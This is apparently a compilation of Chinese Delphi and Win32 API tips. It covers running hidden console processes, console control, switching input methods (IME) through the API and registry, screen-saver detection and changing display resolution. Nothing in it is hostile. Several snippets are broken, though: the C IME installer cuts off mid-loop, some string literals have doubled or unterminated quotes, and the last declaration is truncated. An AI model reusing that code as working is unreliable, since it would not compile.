if not FileExists(InputFile)
then
raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
'Input file * %s *' + #10 +
'does not exist' + #10 + #10 +
ErrMsg, [InputFile]);

{ save the cursor }
OldCursor := Screen.Cursor;
Screen.Cursor := crHourglass;

{ copy the parameter Pascal strings to null terminated strings }
StrPCopy(pCommandLine, CommandLine);
StrPCopy(pInputFile, InputFile);
StrPCopy(pOutPutFile, OutputFile);

TRY

{ prepare SecAtrrs structure for the CreateFile calls
This SecAttrs structure is needed in this case because
we want the returned handle can be inherited by child process
This is true when running under WinNT.
As for Win95 the documentation is quite ambiguous }
FillChar(SecAtrrs, SizeOf(SecAtrrs), #0);
SecAtrrs.nLength := SizeOf(SecAtrrs);
SecAtrrs.lpSecurityDescriptor := nil;
SecAtrrs.bInheritHandle := True;

{ create the appropriate handle for the input file }
hInputFile := CreateFile(
pInputFile, { pointer to name of the file }
GENERIC_READ or GENERIC_WRITE, { access (read-write) mode }
FILE_SHARE_READ or FILE_SHARE_WRITE, { share mode }
@SecAtrrs, { pointer to security attributes }
OPEN_ALWAYS, { how to create }
FILE_ATTRIBUTE_TEMPORARY, { file attributes }
0 ); { handle to file with attributes to copy }

{ is hInputFile a valid handle? }
if hInputFile = INVALID_HANDLE_VALUE
then
raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
'WinApi function CreateFile returned an invalid handle value' + #10 +
'for the input file * %s *' + #10 + #10 +
ErrMsg, [InputFile]);

{ create the appropriate handle for the output file }
hOutputFile := CreateFile(
pOutPutFile, { pointer to name of the file }
GENERIC_READ or GENERIC_WRITE, { access (read-write) mode }
FILE_SHARE_READ or FILE_SHARE_WRITE, { share mode }
@SecAtrrs, { pointer to security attributes }
CREATE_ALWAYS, { how to create }
FILE_ATTRIBUTE_TEMPORARY, { file attributes }
0 ); { handle to file with attributes to copy }

{ is hOutputFile a valid handle? }
if hOutputFile = INVALID_HANDLE_VALUE
then
raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
'WinApi function CreateFile returned an invalid handle value' + #10 +
'for the output file * %s *' + #10 + #10 +
ErrMsg, [OutputFile]);

    { prepare StartupInfo structure }
FillChar(StartupInfo, SizeOf(StartupInfo), #0);
StartupInfo.cb          :=
SizeOf(StartupInfo);
StartupInfo.dwFlags     := STARTF_USESHOWWINDOW or
STARTF_USESTDHANDLES;
StartupInfo.wShowWindow :=
SW_HIDE;
StartupInfo.hStdOutput  :=
hOutputFile;
StartupInfo.hStdInput   :=
hInputFile;

{ create the app }
Result := CreateProcess(nil, { pointer to name of executable module }
pCommandLine, { pointer to command line string }
nil, { pointer to process security attributes }
nil, { pointer to thread security attributes }
True, { handle inheritance flag }
CREATE_NEW_CONSOLE or
REALTIME_PRIORITY_CLASS, { creation flags }
nil, { pointer to new environment block }
nil, { pointer to current directory name }
StartupInfo, { pointer to STARTUPINFO }
ProcessInfo); { pointer to PROCESS_INF }

{ wait for the app to finish its job and take the handles to free them later }
if Result
then
begin
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
hAppProcess := ProcessInfo.hProcess;
hAppThread := ProcessInfo.hThread;
end
else
raise Exception.Create(ROUTINE_ID + #10 + #10 +
'Function failure' + #10 + #10 +
ErrMsg);

FINALLY
{ close the handles
Kernel objects, like the process and the files we created in this case,
are maintained by a usage count.
So, for cleaning up purposes we have to close the handles
to inform the system that we don't need the objects anymore }
if hOutputFile <> 0 then CloseHandle(hOutputFile);
if hInputFile <> 0 then CloseHandle(hInputFile);
if hAppThread <> 0 then CloseHandle(hAppThread);
if hAppProcess <> 0 then CloseHandle(hAppProcess);
{ restore the old cursor }
Screen.Cursor:= OldCursor;
END;

end;


在非控制台程序中使用控制台

 为了在非控制台程序中现实控制台输入/输出，你应当使用AllocConsole、FreeConsole函数。

下面例子演示了这两个函数的用法。

procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
AllocConsole;
try
Write(''Type here your words and press ENTER: '');
Readln(s);
ShowMessage(Format(''You typed: "%s"'', [s]));
finally
FreeConsole;
end;
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:38:00


控制台清屏

function ClearConsoleScreen: boolean;
const
BUFSIZE = 80*25;
var
Han,Dummy: LongWord;
buf: string;
coord: TCoord;
begin
Result := false;
Han := GetStdHandle(STD_OUTPUT_HANDLE);
if Han <> INVALID_HANDLE_VALUE then
begin
if SetConsoleTextAttribute(han, FOREGROUND_RED or FOREGROUND_GREEN or FOREGROUND_BLUE) then
begin
SetLength(buf,BUFSIZE);
FillChar(buf[1],Length(buf),' ');
if WriteConsole(han,PChar(buf),BUFSIZE,Dummy,nil) then
begin
coord.X := 0;
coord.Y := 0;
if SetConsoleCursorPosition(han,coord) then
Result := true;
end;
end;
end;
end;
////////////////////////////////////////
program Project1;

{$APPTYPE CONSOLE}

uses
Windows;

{$R *.RES}

var
sbi : TConsoleScreenBufferInfo;
i :
integer;
begin
Writeln('A Console Applicaiton');
Writeln('Press Enter To Clear The Screen');
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE),
sbi);
Readln;
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE),
sbi);
for i := 0 to sbi.dwSize.y do
writeln;
Writeln('Press Enter To End');
Readln;
end.


获得控制台窗口句柄

 procedure TForm1.Button1Click(Sender: TObject);
var
info : TOSVersionInfo;
ClassName : string;
Title : string;
begin
{See if we're running on Win95 or NT.}
info.dwOSVersionInfoSize := sizeof(info);
GetVersionEx(info);
if (info.dwPlatformId = VER_PLATFORM_WIN32_NT) then begin
ClassName := 'ConsoleWindowClass';
Title := 'Command Prompt';
end else begin
ClassName := 'tty';
Title := 'MS-DOS Prompt';
end;
ShowMessage(IntToStr(FindWindow(PChar(ClassName), PChar(Title))));
end;


控制台向屏幕输出流

其实如果只是把流输出到控制台，几行代码就OK了 :)

如果要对控制台进行更深入的控制，研究一下MSDN好了，呵呵

program ShowStream;

{$APPTYPE CONSOLE}

uses

Windows,

SysUtils,

Classes;

var

sIn: TFileStream;

sOut: THandleStream;

begin

sIn := TFileStream.Create('c:\MSDOS.SYS', fmOpenRead);

try

sOut := THandleStream.Create(GetStdHandle(STD_OUTPUT_HANDLE));

try

sOut.CopyFrom(sIn, sIn.Size);

finally

sOut.Free;

end;

finally

sIn.Free;

end;

end.


中文输入法的热键

请查看\HKEY_CURRENT_USER\Control Panel\Input Method\Hot Keys
路径下，你会发现诸如：00000011、00000012等子键，每一子键代
表一种输入的热键，该子键有如下键值：
Key Modifiers ： 用于指定功能转换键，如Alt、Shift或左Alt等
： 如alt，可能为 01 c0 00 00
Target IME ： 用于指定具体的输入法，如 04 08 24 0e
Virtual Key ： 用于指定字母键名，如3，则为 33 00 00 00
上面例子中指定了输入法04 08 24 0e的热键为alt+3。
而对于Taget IME的值，你可将其16进制值直接翻译成字符串，如
上例中的04 08 24 0e，变成e0240804，然后，你可据此进入另一个路径：
\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard layouts
在此路径下你会找到一个子键e0240804，找到并打开它，你可看到如下的
键值：
IME file
layout file
layout text ： 该输入法的显示名称，如“王码五笔型”
至此一切都明白了吗，你设置“王码五笔型”的热键为ALT+3。
这里你唯一难清楚的是Key Modifiers的值的获取方法，我也没时间
试，最多你在系统中设置不同的方式以检测其不同的取值，不会很多，组合
键有：Ctrl、Alt、Shift及左键、右键五个。
关于Key Modifiers的值, 意义如下:
00000 1 1 1 1 1 000000 0000000000000000
^ ^ ^ ^ ^
shift ctrl alt 左 右
1:有,0:无.
/////////////////////////////////////////////////
设置默认输入法
uses
Menus, Imm, ShellApi, About;

function ImmGetHotKey(dwHotKeyID: DWord; var uModifiers: UINT;
var uVKey: UINT; var hKL: HKL): Boolean; stdcall; external 'Imm32.dll' Name 'ImmGetHotKey';

function HotKeyToStr(uModifiers, uVKey: UINT): string;
var
Shift: TShiftState;
begin
Shift := [];
if uModifiers and MOD_ALT <> 0 then Shift := Shift + [ssAlt];
if uModifiers and MOD_CONTROL <> 0 then Shift := Shift + [ssCtrl];
if uModifiers and MOD_SHIFT <> 0 then Shift := Shift + [ssShift];
if uModifiers and MOD_LEFT <> 0 then Shift := Shift + [ssLeft];
if uModifiers and MOD_RIGHT <> 0 then Shift := Shift + [ssRight];
Result := ShortCutToText(ShortCut(uVKey, Shift));
end;

procedure TSetImeForm.FormCreate(Sender: TObject);
const
nHKL_LIST = 20;
var
iImeCount, i, j, iImageIndex: Integer;
hImeList: array[1..nHKL_LIST] of HKL;
szImeFileName: array[0..MAX_PATH] of Char;
szImeName: array[0..254] of Char;
hLargeIcon, hSmallIcon: HICON;
Icon: TIcon;
uModifiers, uVKey: UINT;
hIme: HKL;
sHotKeys: string;
begin
ListView.Items.Clear;
iImeCount := GetKeyboardLayoutList(nHKL_LIST, hImeList);
for i := 1 to iImeCount do
if ImmEscape(hImeList[i], 0, IME_ESC_IME_NAME, @szImeName) > 0 then
begin
iImageIndex := -1;
ImmGetIMEFileName(hImeList[I], szImeFileName, MAX_PATH);
if ExtractIconEx(szImeFileName, 0, hLargeIcon, hSmallIcon, 1) <> 0 then
begin
Icon := TIcon.Create;
Icon.Handle := hSmallIcon;
iImageIndex := ImageList.AddIcon(Icon);
Icon.Free;
end;
with ListView.Items.Add do
begin
Caption := szImeName;
ImageIndex := iImageIndex;
if Caption = SysIni.ReadString(seUser, idDefaultIme, '五笔型码') then
Selected := True;
end;
end;
for i := IME_HOTKEY_DSWITCH_FIRST to IME_HOTKEY_DSWITCH_LAST do
if ImmGetHotKey(i, uModifiers, uVKey, hIme) then
for j := 1 to iImeCount do
if hIme = hImeList[j] then //First Ime is En, and has not name
ListView.Items[j - 2].SubItems.Add(HotKeyToStr(uModifiers, uVKey));
sHotKeys := '';
if ImmGetHotKey(IME_CHOTKEY_IME_NONIME_TOGGLE, uModifiers, uVKey, hIme) then
sHotKeys := sHotKeys + '打开关闭输入法' + ' ' + HotKeyToStr(uModifiers, uVKey) + #13;
if ImmGetHotKey(IME_CHOTKEY_SYMBOL_TOGGLE, uModifiers, uVKey, hIme) then
sHotKeys := sHotKeys + '切换中英文符号' + ' ' + HotKeyToStr(uModifiers, uVKey) + #13;
if ImmGetHotKey(IME_CHOTKEY_SHAPE_TOGGLE, uModifiers, uVKey, hIme) then
sHotKeys := sHotKeys + '切换全角和半角' + ' ' + HotKeyToStr(uModifiers, uVKey) + #13;
HotKeyList.Caption := sHotKeys;
end;


设置系统输入法

procedure SetmyIme(ImeName:string);
var
I: Integer;
HandleToSet: HKL;
begin
if not SysLocale.FarEast then Exit;
if ImeName <> '' then
begin
if (AnsiCompareText(ImeName, Screen.DefaultIme) <> 0)
and (Screen.Imes.Count <> 0) then
begin
HandleToSet := Screen.DefaultKbLayout;
I := Screen.Imes.IndexOf(ImeName);
if I >= 0 then
HandleToSet := HKL(Screen.Imes.Objects[I]);
ActivateKeyboardLayout(HandleToSet, KLF_ACTIVATE);
end;
end;
end;

procedure ResetmyIme(ImeName:string);
begin
if not SysLocale.FarEast then Exit;
if ImeName <> '' then
begin
if AnsiCompareText(ImeName, Screen.DefaultIme) <> 0 then
ActivateKeyboardLayout(Screen.DefaultKbLayout, KLF_ACTIVATE);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SetmyIme('微软拼音输入法');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ResetmyIme('微软拼音输入法');
end;


输入法安装程序

#include <windows.h>
#include <tchar.h>
#include
<stdio.h>

#define CONVERSION_SET 0x6101
#define LAYOUTTEXT
_T("自由拼音输入法")
#define LAYOUTFILE    _T("kbdus.kbd")
#define
LAYOUTFILENT  _T("kbdus.dll")
#define
IMEFILE       _T("freepy.ime")

#define MAX_SIZE 200
#define MAX_SUBKEY 250

void main()
{
HKEY hKey,hChildKey;
DWORD
dwIndex;
DWORD dwName,dwMaxName = 0;
TCHAR
szNameArr[MAX_SUBKEY][MAX_SIZE],szName[MAX_SIZE];
DWORD
dwLen;
TCHAR szLayoutText[MAX_SIZE];
DWORD
dwData;
FILETIME ft;
LONG lRet;
TCHAR
szRegName[MAX_SIZE];
DWORD dwDisposition;
DWORD
dwConversionSet;
WORD wCount = 0;
int
i;
OSVERSIONINFO osVerInfo;

 dwIndex = 0;
dwLen = MAX_SIZE;
dwData = MAX_SIZE *
sizeof(TCHAR);
dwConversionSet = CONVERSION_SET;

if ( RegOpenKeyEx(HKEY_LOCAL_MACHINE,
_T("Software"),
0,
KEY_READ,
&hKey) != ERROR_SUCCESS ){
_ftprintf(stderr,_T("Software open error\n"));
exit(1);
}

if( RegCreateKeyEx( hKey,
_T("freepy"),
0,
NULL,
REG_OPTION_NON_VOLATILE ,
KEY_ALL_ACCESS ,
NULL,
&hChildKey,
&dwDisposition ) != ERROR_SUCCESS) {
RegCloseKey(hKey);
_ftprintf(stderr,_T("freepy create error\n"));
exit(1);
}

RegSetValueEx(hChildKey,
_T("ConversionSet"),
0,
REG_DWORD,
(LPBYTE)&dwConversionSet,
sizeof(DWORD));

RegCloseKey(hChildKey);
RegCloseKey(hKey);

if ( RegOpenKeyEx(HKEY_LOCAL_MACHINE,
_T("System\\CurrentControlSet\\Control\\Keyboard Layouts"),
0,
KEY_READ,
&hKey) != ERROR_SUCCESS ){
_ftprintf(stderr,_T("Keyboard Layouts open error\n"));
exit(1);
}

RegQueryInfoKey (hKey,NULL, NULL,NULL,
&dwIndex,
NULL,NULL,NULL, NULL,NULL,NULL, NULL);

while( (int)dwIndex >= 0 ) {
dwLen = MAX_SIZE;
if((lRet = RegEnumKeyEx(hKey,
dwIndex,
szName,
&dwLen,
NULL,
NULL,
NULL,
&ft)) == ERROR_SUCCESS || lRet == ERROR_MORE_DATA ) {
_tcscpy(szNameArr[wCount++],szName);
}
dwIndex--;
}

for(i=0;i


关闭当前输入法

 imehandle:=ImmGetDefaultIMEWnd(hwnd);
PostMessage(imehandle,WM_DESTROY,wp,lp);


汉字输入法的编程及使用

    1．Delphi下的Imename、Imemode属性

    在Delphi 3.0中的Tedit、Tmemo、TmaskEdit等编辑元件在应用程序中经常使用，这三种元件都具有ImeName、ImeMode属性。其中ImeName属性是输入法名称，在对象观察器中对应一个包括当前系统中所有汉字输入法的下拉组合框；ImeMode属性是输入法模式，在对象观察器中也对应一个下拉组合框，组合框中包含imClose、imOpen、imChinese、imDontCare、imSAlpha、imAlpha六项内容。

    imClose 表示输入法处于关闭状态；

    ImOpen 表示输入法处于打开状态；

    ImChinese 表示处于中文输入法状态；

    ImDontCare 表示若输入法处于关闭状态则打开最近一次使用过的输入法；

    ImSAlpha 表示输入处于半角状态；

    ImAlpha 表示输入处于全角状态。

    2．Delphi下汉字输入法的编程

    在Delphi 3.0中，中西文录入界面中涉及到的输入元件都具有ImeName、ImeMode属性。在设计录入界面表单时，对其中每一个元件的这两种属性赋值，系统就可以在元件获得焦点时自动打开或关闭所设定的汉字输入法。但是对于用户来说，这种编程方法一点灵活性也没有。若系统所设定的输入法不是用户所喜欢的，那么只好再通过Windows 95的输入法选择器重新选择。其实，通过在Form下放置一个标签及一个下拉组合框的方法就可以灵活地解决这个问题了。本文示例的Form中共放置了四个Label、两个Edit、一个ComboBox、一个Memo及一个Button，下面对这个示例作个说明。

    (1)在Delphi中选择File | New Application菜单项生成一个新的应用程序，设定新窗体Form1的属性为：

    Caption=输入法编程示例；

    (2)在Form1中添加标签Label1、Label2、Label3及编辑框Edit1、Edit2、Memo1，设定其属性为：

    Label1.Caption=中文输入编辑框

    Label1.Font.Size=12

    Label2.Caption= 西文输入编辑框

    Label2.Font.Size=12

    Label3.Caption= 中文多行文本编辑器

    Label3.Font.Size=12

    Edit1.ImeMode=ImOpen

    Edit2.ImeMode=ImDontCare（缺省值）

    Memo1.ImeMode=ImOpen

    编程时，一般把输入西文或以西文为主的元件的ImeMode属性设为缺省值；而把输入中文或以中文为主的元件的ImeMode属性设为ImOpen；ImeName属性值则在程序运行时由用户设定。这个方法的灵活性就在于此。另外，还需要把Edit1.Text、Edit2.Text、Memo1.Lines的值设为空。

    (3)在Form1中添加一个标签Label4，设定其属性为：

    Caption = 选择最喜欢的输入法

    Font.Size=12

    Font.Color=红色

    (4)在Form1中添加一个下拉组合框ComboBox1，在对象观察器Object Inpector中选择Events选项卡，双击OnDropDown，对此事件进行编程，其代码如下：

    ComboBox1.Items.CommaText:=Screen.Imes.CommaText;

    上面这个语句可以将中文Windows 95中安装的汉字输入法添加到下拉组合框中，它巧妙地运用了TScreen类的Imes特性，而Imes特性本身又是一个Tstring类，其属性Commatext包含了Windows 95已安装的汉字输入法，可以将其直接赋值给ComboBox1的相应属性。如果直接编辑ComboBox1的属性Items来添加汉字输入法名称，则会在应用程序发布时，因用户机器汉字输入法的不确定性造成应用程序的不通用性。

    在对象观察器中双击OnExit事件，对此事件进行编程，代码如下：

    Edit1.ImeName:=ComboBox1.Text;

    Memo1.ImeName:=ComboBox1.Text;

    (5)在Form1中添加一个命令按钮Button1，设置其属性为：

    Caption=退出

    Font.Size=12

    双击此命令按钮，对Click事件进行编程，代码如下：

    Close；

    至此，整个示例的程序设计过程就完成了，保存此应用程序及表单，再进行编译、运行，运行后其界面如图所示。

    3．汉字输入法的使用

    首先在下拉组合框中选择你所喜欢的汉字输入法，将光标移到中文输入编辑框中就会发现所选的汉字输入法已自动出现在屏幕上；再将光标移到西文输入编辑框中，汉字输入法就会自动关闭；如果将光标移到中文多行文本编辑框中，则已选中汉字输入法又自动出现了。

    从上面的程序中可以得出，在应用程序的录入界面中，设置一个选择输入法的下拉组合框，并让其控制录入界面中所有可输入项的ImeName属性，既可以做到在中西文录入过程中不必进行录入法的来回切换，还可以做到让用户选择自己最喜欢的汉字输入法，而且这样的录入界面对于用户来说也是非常友好、方便、快捷的
/////////////////////////////////////
---- 常 用 函 数 有：

API函数：BOOL ImmSimulateHotKey

(HWND hWnd,DWORD dwHotKeyID);//模拟热键

其中Hwnd为程序窗口的句柄,dwHotHKeyID

为模拟的热键,若成功则返回True

HKL GetKeyboardLayout(DWORD dwLayout);

//获得当前键盘状态

BOOL ImmIsIME(HKL hKL);

//判断当前是否处于中文输入状态,若是则返回True

自定义函数：

打开相应输入法：OpenIme(imename:string),

例OpenIme('全拼输入法');

关闭中文输入法：CloseIme;

以下是一个简单的例子，仅起参考作用。

使用时uses中加上imm

具体的实现方法及源代码如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms, Dialogs,

StdCtrls, Buttons,imm;

type

TForm1 = class(TForm)

ComboBox1: TComboBox;

BitBtn1: TBitBtn;

BitBtn2: TBitBtn;

BitBtn3: TBitBtn;

procedure FormShow(Sender: TObject);

procedure OpenIme(imename:string);

procedure closeIme;

procedure ComboBox1Change(Sender: TObject);

procedure BitBtn1Click(Sender: TObject);

procedure BitBtn2Click(Sender: TObject);

procedure BitBtn3Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormShow(Sender: TObject);

var

j:integer;

begin

for j:=0 to screen.imes.count-1 do

begin

ComBoBox1.Items.Add(screen.Imes.strings[j]);

//获取系统中已安装的中文输入法

end;

end;

procedure Tform1.OpenIme(imename:string);

var
I:integer;
myhkl:hkl;
begin
if ImeName<>'' then
begin
if Screen.Imes.Count<>0 then
begin
I:=screen.Imes.indexof(imename);
if I>=0 then
myhkl:=hkl(screen.Imes.objects[i]);
activatekeyboardlayout(myhkl,
KLF_ACTIVATE);//设置相应的输入法
end;
end;
end;

procedure TForm1.closeime;

var

myhkl:hkl;

begin
myhkl:=GetKeyBoardLayOut(0);
if ImmIsIME(myhkl) then
//判断是否在中文状态,若是则关闭它
immsimulateHotkey(handle,
IME_CHotKey_IME_NonIME_Toggle);
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
OpenIme(ComboBox1.Text);
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
immsimulateHotkey(handle,
IME_CHotKey_shape_Toggle);//切换半角和全角模式
end;

procedure TForm1.BitBtn2Click(Sender: TObject);

begin
immsimulateHotkey(handle,
IME_CHotKey_symbol_Toggle);

//切换中文标点模式和英文标点模式
end;

procedure TForm1.BitBtn3Click(Sender: TObject);
begin
closeime;
end;
end.


Dephi 程序输入法自动切换最简单最好用的实现方法

作者:Luckyfeeling
 出处:

前言:

当我们的软件交付用户使用时,特别涉及到大量的数据输入处理时,用户需要频繁的在中英文之间切换,而且用户使用的输入法也不同,有的是 五笔,有的是拼音等等.我们能否在软件中提供一个个性化的输入法选择?当用户选择自己喜欢的输入法时,程序中该输入中文的地方,全部自动切换为中文,该输入英文的地方自动切换为英文.

这个实现方法比较多,但多很麻烦,因此,虽然很多程序员可以实现,但都感到非常麻烦而放弃!下面是本人的一个非常简单和好用的解决方法.

解决思路:

程序员只需要将窗体中该输入中文的控件的 imemode=imchinese,然后在每个窗体里 create(或active) 事件里调用本人编写的方法ChangeYouFormAllControlIme(frm)即可.在程序中提供一个用户输入法选项供用户选择自己喜欢的输入法,调用显示FrmImeNameList 窗体即可!总之,程序员只需要调用 一个公用 unit(含有窗体的unit) 下的方法: ChangeYouFormAllControlIme(YFormName:TWinControl), 调用显示窗体 FrmImeNameList

实现方法: unit 名字 UnitImeManager 包含的窗体名字 FrmImeNameList

公用 unit的窗体界面 :

界面操作的代码:

procedure TFrmImeNameList.FormCreate(Sender: TObject); //列表框加载系统输入法

begin

ListBox1.Items:=screen.Imes;

end;

procedure TFrmImeNameList.BitBtn1Click(Sender: TObject);//保存用户选择的输入法存放到系统注册表里面

var

Reg:TRegistry;

CustImeName:string;

begin

reg:=TRegistry.Create;

reg.RootKey:=HKEY_LOCAL_MACHINE;

if ListBox1.ItemIndex<>-1 then

CustImeName:=ListBox1.Items[ListBox1.ItemIndex]

else

CustImeName:='中文 (简体) - 智能 ABC';

try

if Reg.OpenKey('\Software\IMeCustom', True) then Reg.WriteString('CustomIMeName',CustImeName);

finally

reg.CloseKey;

reg.Free;

end;

FrmImeNameList.Close;

end;

公用 unit的方法:

1 更改相应窗体中所有的控件的输入法

Procedure ChangeYouFormAllControlIme(YFormName:TWinControl); // 需要更改输入法的窗体名称

var

i:integer;

ChildControl:TControl;

Reg:TRegistry;

YouFormOrOTher:Twincontrol;

begin

YouFormOrOTher:=YFormName;

reg:=TRegistry.Create;

//读取注册表保存的用户选择的输入法,用单元全局变量 StrImeName 保存

reg.RootKey:=HKEY_LOCAL_MACHINE;

try

if Reg.OpenKey('\Software\IMeCustom',false)=true then

StrImeName:=reg.ReadString('CustomIMeName');

finally

reg.CloseKey;

reg.Free;

end;

//调用方法 JugeClassType(ChildControl) 更改窗体中控件的 ImeMode

for i:=0 to YouFormOrOTher.ControlCount-1 do

begin

ChildControl:=YouFormOrOTher.Controls[i];

JugeClassType(ChildControl);

//如果控件包含控件,更改被包含的控件

if ChildControl is TWinControl then ChangeYouFormAllControlIme(ChildControl as TWinControl);

end;

end;

2 判断控件类别,更改其 imemode 属性为用户选择的输入法

procedure JugeClassType(PClass:Tcontrol); //虽然麻烦,但必须具体判断,下面将 dephi 可更改的控件几乎都包含了,没有包含的是使用价值不大.

begin

if pclass is TEdit then //更改 Tedit 类控件 以下同理

begin

if TEdit(pclass).ImeMode=imchinese then

TEdit(pclass).ImeName:=StrImeName

else

TEdit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TMemo then

begin

if TMemo(pclass).ImeMode=imchinese then

TMemo(pclass).ImeName:=StrImeName

else

TMemo(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TComboBox then

begin

if TComboBox(pclass).ImeMode=imchinese then

TComboBox(pclass).ImeName:=StrImeName

else

TComboBox(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TRichEdit then

begin

if TRichEdit(pclass).ImeMode=imchinese then

TRichEdit(pclass).ImeName:=StrImeName

else

TRichEdit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDBGrid then

begin

if TDBGrid(pclass).ImeMode=imchinese then

TDBGrid(pclass).ImeName:=StrImeName

else

TDBGrid(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDBEdit then

begin

if TDBEdit(pclass).ImeMode=imchinese then

TDBEdit(pclass).ImeName:=StrImeName

else

TDBEdit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDbMemo then

begin

if TDbMemo(pclass).ImeMode=imchinese then

TDbMemo(pclass).ImeName:=StrImeName

else

TDbMemo(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TDbcombobox then

begin

if TDbcombobox(pclass).ImeMode=imchinese then

TDbcombobox(pclass).ImeName:=StrImeName

else

TDbcombobox(pclass).ImeMode:=imClose;

exit;

end;

if pclass is Tdblookupcombobox then

begin

if Tdblookupcombobox(pclass).ImeMode=imchinese then

Tdblookupcombobox(pclass).ImeName:=StrImeName

else

Tdblookupcombobox(pclass).ImeMode:=imClose;

exit;

end;

if pclass is Tdbrichedit then

begin

if Tdbrichedit(pclass).ImeMode=imchinese then

Tdbrichedit(pclass).ImeName:=StrImeName

else

Tdbrichedit(pclass).ImeMode:=imClose;

exit;

end;

if pclass is TMaskEdit then

begin

if TMaskEdit(pclass).ImeMode=imchinese then

TMaskEdit(pclass).ImeName:=StrImeName

else

TMaskEdit(pclass).ImeMode:=imClose;

exit;

end;

end;


判断屏幕保护程序是否正在运行

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
{
BOOL SystemParametersInfo(
UINT uiAction, // system parameter to query or set
UINT uiParam, // depends on action to be taken
PVOID pvParam, // depends on action to be taken
UINT fWinIni // user profile update flag
);

Windows NT 5.0 and later, Windows 98: Determines whether
a screen saver is currently running on the window station
of the calling process. The pvParam parameter must point to
a BOOL variable that receives TRUE if a screen saver is
currently running, or FALSE otherwise. Note that only the
interactive window station, "WinSta0", can have a screen saver
running.
}
procedure TForm1.Button1Click(Sender: TObject);
var
b:integer;
begin
b:=0;
SystemParametersInfo(SPI_GETSCREENSAVERRUNNING,0,@b,0);
memo1.lines.add(inttostr(b));
if b<>0 then
showmessage(inttostr(b));
end;

end.


取得当前显示卡支持的所有显示模式
Jon E. Scott

摘　要：取得当前显示卡支持的所有显示模式
关键字：显示模式，EnumDisplaySettings
类　别：API

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

procedure GetVideoModes(ModeList: TStringList);

var
i, j: integer;
MoreModes,
AddMode: boolean;
dm: TDeviceMode;
Mode: string;
begin
ModeList.Clear;
MoreModes := True;
Mode := ';
i := 0;
while MoreModes do
begin
MoreModes := EnumDisplaySettings(nil, i, dm);
Mode := IntToStr(dm.dmBitsPerPel) + ' Bits Per Pixel ' +
IntToStr(dm.dmPelsWidth) + ' x ' +
IntToStr(dm.dmPelsHeight);
AddMode := True;
{ Check to make sure this mode is not already in the list. }
for j := 0 to ModeList.Count-1 do
if Mode = ModeList[j] then
AddMode := False;
if AddMode then
ModeList.Add(Mode);
Inc(i);
end;
end;
投稿人：大鱼儿　投稿日期：2001-6-24 15:51:00


获得缺省的屏保

   Uses Inifiles, ShellApi;

procedure TForm1.Button1Click(Sender: TObject);

function GetLongFileName(Const FileName : String):String;
var
aInfo: TSHFileInfo;
begin
if SHGetFileInfo(PChar(FileName),0,aInfo,Sizeof(aInfo),SHGFI_DISPLAYNAME)<>0
    then
Result:= String(aInfo.szDisplayName)
else
Result:= FileName;
end;

var
Ini:TInifile;
ScreenSaverFile:string;
begin
Ini:=TInifile.Create('system.ini');
ScreenSaverFile:=GetLongFileName(Ini.ReadString('boot','SCRNSAVE.EXE','Not
    Available'));
Ini.Free;
Label1.Caption:=ScreenSaverFile;
end;


相对于窗体上的点转换成相对于屏幕上的点

 方法:
var
MyPoint:TPoint;
ScPoint:TPoint;
begin
MyPoint.x:=1;
MyPoint.y:=2;
ScPoint:=ClientToScreen(MyPoint);
end;
注:ScPoint为相对于屏幕上的点


动态改变当前显示模式

Windows 95提供一个API函数EnumDisplaySettings()来获取所有显示模式的有关参数，包括颜色数、分辨率等等，下面的示例代码首先用该函数正确地填充TDevMode类型变量的各字段，然后指定新的数据，再调用ChangeDisplaySettings()函数来改变显示模式：

procedure NewScreenSize(W,H: Integer);
var
DevMode: TDevMode;
begin
if EnumDisplaySettings(nil,0,DevMode) then begin
with DevMode do begin
dmPelsWidth := W;
dmPelsHeight := H;
dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;

    end;
ChangeDisplaySettings(DevMode,
0);
end;
end;
///////////////////////////
Windows提供给我们两个API函数，可以动态调整显示器的分辨率，他们是EnumDisplaySettings()
和ChangeDisplaySettings()，下面这个例子就是了

function DynamicResolution(X, Y: word): BOOL;
var
lpDevMode: TDeviceMode;
begin
Result := EnumDisplaySettings(nil, 0, lpDevMode);
if Result then
begin
lpDevMode.dmFields := DM_PELSWIDTH Or DM_PELSHEIGHT;
lpDevMode.dmPelsWidth := X;
lpDevMode.dmPelsHeight := Y;
Result := ChangeDisplaySettings(lpDevMode, 0) = DISP_CHANGE_SUCCESSFUL;
end
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if DynamicResolution(640, 480) then

ShowMessage('Now is 640*480');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if
DynamicResolution(800, 600) then
ShowMessage('Now is
800*600');
end;
/////////////////////////////////////
{Delphi
引入的定义是错误的，必须手工引入}
function ChangeDisplaySettings(lpDevMode:
PDeviceMode;
